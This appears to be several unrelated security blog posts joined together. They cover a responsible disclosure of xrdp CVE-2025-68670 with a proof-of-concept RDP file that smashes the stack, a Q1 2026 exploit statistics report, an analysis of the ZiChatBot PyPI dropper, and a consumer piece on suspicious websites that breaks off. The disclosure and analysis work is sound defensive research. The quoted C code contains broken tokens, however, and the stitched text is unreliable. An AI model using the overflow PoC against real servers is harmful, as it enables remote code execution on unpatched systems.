In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.
We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.
Client data transmission via RDP
Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
int rv = 0;
LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
{
rv = 1;
}
else
{
int term;
int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
dst, dst_len);
if (num_chars > dst_len) // [3]
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
}
/ / String should be null-terminated. We haven't read the terminator yet
in_uint16_le(s, term);
if (term != 0)
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
rv = 1;
}
}
return rv;
}
Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
{
unsigned int rv = 0;
char32_t c32;
char u8str[MAXLEN_UTF8_CHAR];
unsigned int u8len;
char *saved_s_end = s->end;
// Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
// Temporarily set the stream end pointer to allow us to use
// s_check_rem() when reading in UTF-16 words
if (s->end - s->p > (int)(n * 2))
{
s->end = s->p + (int)(n * 2);
}
while (s_check_rem(s, 2))
{
c32 = get_c32_from_stream(s);
u8len = utf_char32_to_utf8(c32, u8str);
if (u8len + 1 <= vn) // [4]
{
/* Room for this character and a terminator. Add the character */
unsigned int i;
for (i = 0 ; i < u8len ; ++i)
{
v[i] = u8str[i];
}
v n -= u8len;
v += u8len;
}
else if (vn > 1)
{
/* We've skipped a character, but there's more than one byte
* remaining in the output buffer. Mark the output buffer as
* full so we don't get a smaller character being squeezed into
* the remaining space */
vn = 1;
}
r v += u8len;
}
// Restore stream to full length s->end = saved_s_end;
if (vn > 0)
{
*v = '\0'; // [5]
}
+ +rv;
return rv;
}
Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.
CVE-2025-68670: an RCE vulnerability in xrdp
The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)
The code snippet where the vulnerable function is called looks like this:
char resultIP[256]; // [7]
[..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
self->session->client_info->domain, // [6]
combo->data_list->count, 1,
resultIP /* just a dummy place holder, we ignore
*/ );
As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
{
int ret;
int pos;
int comboxindex;
char index[2];
/* If the first char in the domain name is '_' we use the domain name as IP*/
ret = 0; /* default return value */
/* resultBuffer assumed to be 256 chars */
g_memset(resultBuffer, 0, 256);
if (originalDomainInfo[0] == '_') // [8]
{
/* we try to locate a number indicating what combobox index the user
* prefer the information is loaded from domain field, from the client
* We must use valid chars in the domain name.
* Underscore is a valid name in the domain.
* Invalid chars are ignored in microsoft client therefore we use '_'
* again. this sec '__' contains the split for index.*/
pos = g_pos(&originalDomainInfo[1], "__"); // [9]
if (pos > 0)
{
/* an index is found we try to use it */
LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
if (decode)
{
[..SNIP..]
}
/ * pos limit the String to only contain the IP */
g_strncpy(resultBuffer, &originalDomainInfo[1], pos); // [10]
}
else
{
LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
}
}
return ret;
}
As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).
To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.
PoC
As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()
Protection against vulnerability exploitation
It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.
The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.
Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.
Vulnerability remediation timeline
12/05/2025: we submitted the vulnerability report via https://github.com/neutrinolabs/xrdp/security.
12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
12/15/2025: investigation and prioritization of the vulnerability began.
12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
01/27/2026: the patch was merged into the project’s main branch.
Conclusion
Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.
However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.
During Q1 2026, the exploit kits leveraged by threat actors to target user systems expanded once again, incorporating new exploits for the Microsoft Office platform, as well as Windows and Linux operating systems.
In this report, we dive into the statistics on published vulnerabilities and exploits, as well as the known vulnerabilities leveraged by popular C2 frameworks throughout Q1 2026.
Statistics on registered vulnerabilities
This section provides statistical data on registered vulnerabilities. The data is sourced from cve.org.
We examine the number of registered CVEs for each month starting from January 2022. The total volume of vulnerabilities continues rising and, according to current reports, the use of AI agents for discovering security issues is expected to further reinforce this upward trend.
Total published vulnerabilities per month from 2022 through 2026 (download)
Next, we analyze the number of new critical vulnerabilities (CVSS > 8.9) over the same period.
Total critical vulnerabilities published per month from 2022 through 2026 (download)
The graph indicates that while the volume of critical vulnerabilities slightly decreased compared to previous years, an upward trend remained clearly visible. At present, we attribute this to the fact that the end of last year was marked by the disclosure of several severe vulnerabilities in web frameworks. The current growth is driven by high-profile issues like React2Shell, the release of exploit frameworks for mobile platforms, and the uncovering of secondary vulnerabilities during the remediation of previously discovered ones. We will be able to test this hypothesis in the next quarter; if correct, the second quarter will show a significant decline, similar to the pattern observed in the previous year.
Exploitation statistics
This section presents statistics on vulnerability exploitation for Q1 2026. The data draws on open sources and our telemetry.
Windows and Linux vulnerability exploitation
In Q1 2026, threat actor toolsets were updated with exploits for new, recently registered vulnerabilities. However, we first examine the list of veteran vulnerabilities that consistently account for the largest share of detections:
CVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component
CVE-2017-11882: another RCE vulnerability also affecting Equation Editor
CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system
CVE-2023-38831: a vulnerability resulting from the improper handling of objects contained within an archive
CVE-2025-6218: a vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution
CVE-2025-8088: a directory traversal bypass vulnerability during file extraction utilizing NTFS Streams
Among the newcomers, we have observed exploits targeting the Microsoft Office platform and Windows OS components. Notably, these new vulnerabilities exploit logic flaws arising from the interaction between multiple systems, making them technically difficult to isolate within a specific file or library. A list of these vulnerabilities is provided below:
CVE-2026-21509 and CVE-2026-21514: security feature bypass vulnerabilities: despite Protected View being enabled, a specially crafted file can still execute malicious code without the user’s knowledge. Malicious commands are executed on the victim’s system with the privileges of the user who opened the file.
CVE-2026-21513: a vulnerability in the Internet Explorer MSHTML engine, which is used to open websites and render HTML markup. The vulnerability involves bypassing rules that restrict the execution of files from untrusted network sources. Interestingly, the data provider for this vulnerability was an LNK file.
These three vulnerabilities were utilized together in a single chain during attacks on Windows-based user systems. While this combination is noteworthy, we believe the widespread use of the entire chain as a unified exploit will likely decline due to its instability. We anticipate that these vulnerabilities will eventually be applied individually as initial entry vectors in phishing campaigns.
Below is the trend of exploit detections on user Windows systems starting from Q1 2025.
Dynamics of the number of Windows users encountering exploits, Q1 2025 – Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)
The vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.
On Linux devices, exploits for the following vulnerabilities were detected most frequently:
CVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications
CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation
CVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem
CVE-2023-32233: a vulnerability in the Netfilter subsystem that allows for Use-After-Free conditions and privilege escalation through the improper processing of network requests
Dynamics of the number of Linux users encountering exploits, Q1 2025 – Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)
In the first quarter of 2026, we observed a decrease in the number of detected exploits; however, the detection rates are on the rise relative to the same period last year. For the Linux operating system, the installation of security patches remains critical.
Most common published exploits
The distribution of published exploits by software type in Q1 2026 features an updated set of categories; once again, we see exploits targeting operating systems and Microsoft Office suites.
Distribution of published exploits by platform, Q1 2026 (download)
Vulnerability exploitation in APT attacks
We analyzed which vulnerabilities were utilized in APT attacks during Q1 2026. The ranking provided below includes data based on our telemetry, research, and open sources.
TOP 10 vulnerabilities exploited in APT attacks, Q1 2026 (download)
In Q1 2026, threat actors continued to utilize high-profile vulnerabilities registered in the previous year for APT attacks. The hypothesis we previously proposed has been confirmed: security flaws affecting web applications remain heavily exploited in real-world attacks. However, we are also observing a partial refresh of attacker toolsets. Specifically, during the first quarter of the year, APT campaigns leveraged recently discovered vulnerabilities in Microsoft Office products, edge networking device software, and remote access management systems. Although the most recent vulnerabilities are being exploited most heavily, their general characteristics continue to reinforce established trends regarding the categories of vulnerable software. Consequently, we strongly recommend applying the security patches provided by vendors.
C2 frameworks
In this section, we examine the most popular C2 frameworks used by threat actors and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.
The chart below shows the frequency of known C2 framework usage in attacks against users during Q1 2026, according to open sources.
TOP 10 C2 frameworks used by APTs to compromise user systems, Q1 2026 (download)
Metasploit has returned to the top of the list of the most common C2 frameworks, displacing Sliver, which now shares the second position with Havoc. These are followed by Covenant and Mythic, the latter of which previously saw greater popularity. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:
CVE-2023-46604: an insecure deserialization vulnerability allowing for arbitrary code execution within the server process context if the Apache ActiveMQ service is running
CVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication
CVE-2023-36884: a vulnerability in the Windows Search component that enables command execution on the system, bypassing security mechanisms built into Microsoft Office applications
CVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server
CVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities that allow files to be extracted from an archive to a predefined path, potentially without the archiving utility displaying any alerts to the user
The nature of the described vulnerabilities indicates that they were exploited to gain initial access to the system. Notably, the majority of these security issues are targeted to bypass authentication mechanisms. This is likely due to the fact that C2 agents are being detected effectively, prompting threat actors to reduce the probability of discovery by utilizing bypass exploits.
Notable vulnerabilities
This section highlights the most significant vulnerabilities published in Q1 2026 that have publicly available descriptions.
At the core of this vulnerability is a Type Confusion flaw. By attempting to access a resource within the Desktop Window Manager subsystem, an attacker can achieve privilege escalation. A necessary condition for exploiting this issue is existing authorization on the system.
It is worth noting that the DWM subsystem has been under close scrutiny by threat actors for quite some time. Historically, the primary attack vector involves interacting with the NtDComposition* function set.
RegPwn (CVE-2026-21533): a system settings access control vulnerability
CVE-2026-21533 is essentially a logic vulnerability that enables privilege escalation. It stems from the improper handling of privileges within Remote Desktop Services (RDS) components. By modifying service parameters in the registry and replacing the configuration with a custom key, an attacker can elevate privileges to the SYSTEM level. This vulnerability is likely to remain a fixture in threat actor toolsets as a method for establishing persistence and gaining high-level privileges.
CVE-2026-21514: a Microsoft Office vulnerability
This vulnerability was discovered in the wild during attacks on user systems. Notably, an LNK file is used to initiate the exploitation process. CVE-2026-21514 is also a logic issue that allows for bypassing OLE technology restrictions on malicious code execution and the transmission of NetNTLM authentication requests when processing untrusted input.
Clawdbot (CVE-2026-25253): an OpenClaw vulnerability
This vulnerability in the AI agent leaks credentials (authentication tokens) when queried via the WebSocket protocol. It can lead to the compromise of the infrastructure where the agent is installed: researchers have confirmed the ability to access local system data and execute commands with elevated privileges. The danger of CVE-2026-25253 is further compounded by the fact that its exploitation has generated numerous attack scenarios, including the use of prompt injections and ClickFix techniques to install stealers on vulnerable systems.
CVE-2026-34070: LangChain framework vulnerability
LangChain is an open-source framework designed for building applications powered by large language models (LLMs). A directory traversal vulnerability allowed attackers to access arbitrary files within the infrastructure where the framework was deployed. The core of CVE-2026-34070 lies in the fact that certain functions within langchain_core/prompts/loading.py handled configuration files insecurely. This could potentially lead to the processing of files containing malicious data, which could be leveraged to execute commands and expose critical system information or other sensitive files.
CVE-2026-22812: an OpenCode vulnerability
CVE-2026-22812 is another vulnerability identified in AI-assisted coding software. By default, the OpenCode agent provided local access for launching authorized applications via an HTTP server that did not require authentication. Consequently, attackers could execute malicious commands on a vulnerable device with the privileges of the current user.
Conclusion and advice
We observe that the registration of vulnerabilities is steadily gaining momentum in Q1 2026, a trend driven by the widespread development of AI tools designed to identify security flaws across various software types. This trajectory is likely to result not only in a higher volume of registered vulnerabilities but also in an increase in exploit-driven attacks, further reinforcing the critical necessity of timely security patch deployment. Additionally, organizations must prioritize vulnerability management and implement effective defensive technologies to mitigate the risks associated with potential exploitation.
To ensure the rapid detection of threats involving exploit utilization and to prevent their escalation, it is essential to deploy a reliable security solution. Key features of such a tool include continuous infrastructure monitoring, proactive protection, and vulnerability prioritization based on real-world relevance. These mechanisms are integrated into Kaspersky Next, which also provides endpoint security and protection against cyberattacks of any complexity.
Through our daily threat hunting, we noticed that, beginning in July 2025, a series of malicious wheel packages were uploaded to PyPI (the Python Package Index). We shared this information with the public security community, and the malware was removed from the repository. We submitted the samples to Kaspersky Threat Attribution Engine (KTAE) for analysis. Based on the results, we believe the packages may be linked to malware discussed in a Threat Intelligence report on OceanLotus.
While these wheel packages do implement the features described on their PyPI web pages, their true purpose is to covertly deliver malicious files. These files can be either .DLL or .SO (Linux shared library), indicating the packages’ ability to target both Windows and Linux platforms. They function as droppers, delivering the final payload – a previously unknown malware family that we have named ZiChatBot. Unlike traditional malware, ZiChatBot does not communicate with a dedicated command and control (C2) server, but instead uses a series of REST APIs from the public team chat app Zulip as its C2 infrastructure.
To conceal the malicious package containing ZiChatBot, the attacker created another benign-looking package that included the malicious package as a dependency. Based on these facts, we confirm that this campaign is a carefully planned and executed PyPI supply chain attack.
Technical details
Spreading
The attacker created three projects on PyPI and uploaded malicious wheel packages designed to imitate popular libraries, tricking users into downloading them. This is a clear example of a supply chain attack via PyPI. See below for detailed information about the fake libraries and their corresponding wheel packages.
Malicious wheel packages
The packages added by the attacker and listed on PyPI’s download pages are:
uuid32-utils library for generating a 32-character random string as a UUID
colorinal library for implementing cross-platform color terminal text
termncolor library for ANSI color format for terminal output
The key metadata for these packages are as follows:
Pip install command
File name
First upload date
Author / Email
pip install uuid32-utils
uuid32_utils-1.x.x-py3-none-[OS platform].whl
2025-07-16
laz**** / laz****@tutamail.com
pip install colorinal
colorinal-0.1.7-py3-none-[OS platform].whl
2025-07-22
sym**** / sym****@proton.me
pip install termncolor
termncolor-3.1.0-py3-none-any.whl
2025-07-22
sym**** / sym****@proton.me
Based on the distribution information on the PyPI web page, we can see that it offers X86 and X64 versions for Windows, as well as an x86_64 version for Linux. The colorinal project, for example, provides the following download options:
Distribution information of the colorinal project
Initial infection
The uuid32-utils and colorinal libraries employ similar infection chains and malicious payloads. As a result, this analysis will focus on the colorinal library as a representative example.
A quick look at the code of the third library, termncolor, reveals no apparent malicious content. However, it imports the malicious colorinal library as a dependency. This method allows attackers to deeply conceal malware, making the termncolor library appear harmless when distributing it or luring targets.
The termncolor library imports the malicious colorinal library
During the initial infection stage, the Python code is nearly identical across both Windows and Linux platforms. Here, we analyze the Windows version as an example.
Windows version
Once a Python user downloads and installs the colorinal-0.1.7-py3-none-win_amd64.whl wheel package file, or installs it using the pip tool, the ZiChatBot’s dropper (a file named terminate.dll) will be extracted from the wheel package and placed on the victim’s hard drive.
After that, if the colorinal library is imported into the victim’s project, the Python script file at [Python library installation path]\colorinal-0.1.7-py3-none-win_amd64\colorinal\__init__.py will be executed first.
The __init__.py script imports the malicious file unicode.py
This Python script imports and executes another script located at [python library install path]\colorinal-0.1.7-py3-none-win_amd64\colorinal\unicode.py. The is_color_supported() function in unicode.py is called immediately.
The code loads the dropper into the host Python process
The comment in the is_color_supported() function states that the highlighted code checks whether the user’s terminal environment supports color. The code actually loads the terminate.dll file into the Python process and then invokes the DLL’s exported function envir, passing the UTF-8-encoded string xterminalunicod as a parameter. The DLL acts as a dropper, delivering the final payload, ZiChatBot, and then self-deleting. At the end of the is_color_supported() function, the unicode.py script file is also removed. These steps eliminate all malicious files in the library and deploy ZiChatBot.
For the Linux platform, the wheel package and the unicode.py Python script are nearly identical to the Windows version. The only difference is that the dropper file is named “terminate.so”.
Dropper for ZiChatBot
From the previous analysis, we learned that the dropper is loaded into the host Python process by a Python script and then activated. The main logic of the dropper is implemented in the envir export function to achieve three objectives:
Deploy ZiChatBot.
Establish an auto-run mechanism.
Execute shellcode to remove the dropper file (terminate.dll) and the malicious script file from the installed library folder.
The dropper first decrypts sensitive strings using AES in CBC mode. The key is the string-type parameter “xterminalunicode” of the exported function. The decrypted strings are “libcef.dll”, “vcpacket”, “pkt-update”, and “vcpktsvr.exe”.
Next, the malware uses the same algorithm to decrypt the embedded data related to ZiChatBot. It then decompresses the decrypted data with LZMA to retrieve the files vcpktsvr.exe and libcef.dll associated with ZiChatBot. The malware creates a folder named vcpacket in the system directory %LOCALAPPDATA%, and places these files into it.
To establish persistence for ZiChatBot, the dropper creates the following auto-run entry in the registry:
Once preparations are complete, the malware uses the XOR algorithm to decrypt the embedded shellcode with the three-byte key 3a7. It then searches the decrypted shellcode’s memory for the string Policy.dllcppage.dll and replaces it with its own file name, terminate.dll, and redirects execution to the shellcode’s memory space.
The shellcode employs a djb2-like hash method to calculate the names of certain APIs and locate their addresses. Using these APIs, it finds the dropper file with the name terminate.dll that was previously passed by the DLL before unloading and deleting it.
Linux version
The Linux version of the dropper places ZiChatBot in the path /tmp/obsHub/obs-check-update and then creates an auto-run job using crontab. Unlike the Windows version, the Linux version of ZiChatBot only consists of one ELF executable file.
The Windows version of ZiChatBot is a DLL file (libcef.dll) that is loaded by the legitimate executable vcpktsvr.exe (hash: 48be833b0b0ca1ad3cf99c66dc89c3f4). The DLL contains several export functions, with the malicious code implemented in the cef_api_mash export. Once the DLL is loaded, this function is invoked by the EXE file. ZiChatBot uses the REST APIs from Zulip, a public team chat application, as its command and control server.
ZiChatBot is capable of executing shellcode received from the server and only supports this one control command. Once it runs, it initiates a series of sequential HTTP requests to the Zulip REST API.
In each HTTP request, an API authentication token is included as an HTTP header for server-side authentication, as shown below.
ZiChatBot utilizes two separate channel-topic pairs for its operations. One pair transmits current system information, and the other retrieves a message containing shellcode. Once the shellcode is received, a new thread is created to execute it. After executing the command, a heart emoji is sent in response to the original message to indicate the execution was successful.
Infrastructure
We did not find any traditional infrastructure, such as compromised servers or commercial VPS services and their associated IPs and domains. Instead, the malicious wheel packages were uploaded to the Python Package Index (PyPI), a public, shared Python library. The malware, ZiChatBot, leverages Zulip’s public team chat REST APIs as its command and control server.
The “helper” organization that the attacker had registered on the Zulip service has now been officially deactivated by Zulip. However, infected devices may still attempt to connect to the service, so to help you locate and cure them, we recommend adding the full URL helper.zulipchat.com to your denylist.
Victims
The malware was uploaded in July 2025. Upon discovering these attacks, we quickly released an update for our product to detect the relevant files and shared the necessary information with the public security community. As a result, the malicious software was swiftly removed from PyPI, and the organization registered on the Zulip service was officially deactivated. To date, we have not observed any infections based on our telemetry or public reports.
Zulip has officially deactivated the “helper” organization
Attribution
Based on the results from our KTAE system, the dropper used by ZiChatBot shows a 64% similarity to another dropper we analyzed in a TI report, which was linked to OceanLotus. Reverse engineering shows that both droppers use nearly identical algorithms and logic for to decrypt and decompress their embedded payloads.
Analysis results of dropper using KTAE system
Conclusions
As an active APT organization, OceanLotus primarily targets victims in the Asia-Pacific region. However, our previous reports have highlighted a growing trend of the group expanding its activities into the Middle East. Moreover, the attacks described in this report – executed through PyPI – target Python users worldwide. This demonstrates OceanLotus’s ongoing effort to broaden its attack scope.
In the first half of 2025, a public report revealed that the group launched a phishing campaign using GitHub. The recent PyPI-based supply chain attack likely continues this strategy. Although phishing emails are still a common initial infection method for OceanLotus, the group is also actively exploring new ways to compromise victims through diverse supply chain attacks.
A suspicious website is a web resource that cannot be definitively classified as phishing, but whose activities are unsafe. Such sites manipulate users, tricking them into voluntarily transferring money for non-existent services, signing up for hidden subscriptions, or disclosing personal data through carefully crafted terms of service. These include fake online stores, dubious crypto exchanges, investment platforms, and services with paid subscriptions.
Kaspersky has introduced a new web filtering category, “Sites with an undefined trust level,” into its security products (Kaspersky Premium, Android and iOS apps, etc.). The system analyzes the domain name and age, IP address reputation, DNS configuration, HTTP security headers, and SSL certificate to automatically detect suspicious resources.
According to Kaspersky data for January 2026, the most widespread global threat is fake browser extensions that mimic security products — they were detected in 9 out of 10 regions analyzed worldwide. Such extensions intercept browser data, track user activity, hijack search queries, and inject ads.
Kaspersky’s regional statistics reveal the specific nature of these threats: in Africa, over 90% of the top 10 suspicious websites are online trading scam platforms; in Latin America, fake betting services predominate; in Russia, fake binary options brokers and “educational platforms” with fraudulent subscriptions lead the way; in CIS countries — crypto scams and bots for inflating engagement.
Key indicators of a suspicious website to check: a strange domain name with numbers or random characters, cheap top-level domains (.xyz, .top, .shop), a recently registered domain (less than 6 months old according to WHOIS data), unrealistic promises (“100% guaranteed income,” “up to 300% profit”), lack of company contact information, and payments only via cryptocurrency or irreversible bank transfers.
Introduction
The online landscape is filled with various traps lying in wait for users. One such threat involves websites that can’t be strictly classified as phishing, yet whose activities are inherently unsafe. These sites often operate on the fringes of the law, even if they aren’t directly violating it. Sometimes they use a cleverly crafted Terms of Service document as a loophole. These agreements might include clauses such as no-refund policies or forced automatic subscription renewals.
Fake online stores, dubious financial platforms, and various online services that mimic legitimate business operations are all categorized as suspicious. Unlike actual phishing sites, which aim to steal sensitive data like banking credentials or passwords, these suspicious sites represent a far more cunning trap. Their goal is manipulation: tricking the victim into willingly paying for non-existent goods and services or signing them up for a subscription that’s nearly impossible to cancel. Beyond financial gain, these sketchy websites may also hunt for personal data to sell later on the dark web.
Our solutions categorize them as having an “undefined trust level”. This article explains what these sites look like, how to identify them, and what you can do to stay safe.
The dangers of shady websites
One of the biggest risks associated with making a purchase from an untrusted website that seems to be an online store is the financial loss and falling victim to fraud. Fake shops will entice you with attractive deals to get you hooked. After you pay, you may never receive what you paid for, or you may receive some cheap piece of unusable junk instead of the item you ordered. Investment or “guaranteed income” programs are another type of classic scam — they promise rapid returns, and once they take your deposits, they disappear without a trace.
Visiting or buying from untrusted suspicious websites can expose you to various risks that go beyond a single bad purchase. Fraudulent websites often collect your personal information even if you do not end up making a purchase. By completing a form or signing up for a “free offer”, you may be providing the scammer with access to your information.
Personal data collection can happen in a fairly straightforward and obvious way — for instance, through a standard order delivery form. In this scenario, attackers end up with sensitive information like the user’s full name, shipping and billing addresses, phone number, email address, and, of course, payment details. As we’ve previously discussed, fraudsters sell this kind of information, and there’re countless ways it can be used down the line. For example, this data might be leveraged for spam campaigns or more serious threats like stalking or targeted attacks.
Common types of suspicious sites
Let’s take a closer look at the different types of shady sites out there and how interacting with them can lead to financial loss, data leaks, the unauthorized use of personal information, and other consequences.
It’s worth noting that rogue websites can masquerade as legitimate ones in almost any industry. The first type of fraudulent site we’ll look at is fake online stores. These can appear as clones of real brand websites or as standalone stores. Usually, the scam follows one of two paths: the buyer either receives a counterfeit or poor-quality product, or they receive nothing at all. These sites lure victims in with suspiciously low prices and “exclusive” deals. Often, users are subjected to psychological pressure: the time to make a purchase decision is purposefully limited, provoking the victim, as with any other scam, into making an impulse purchase.
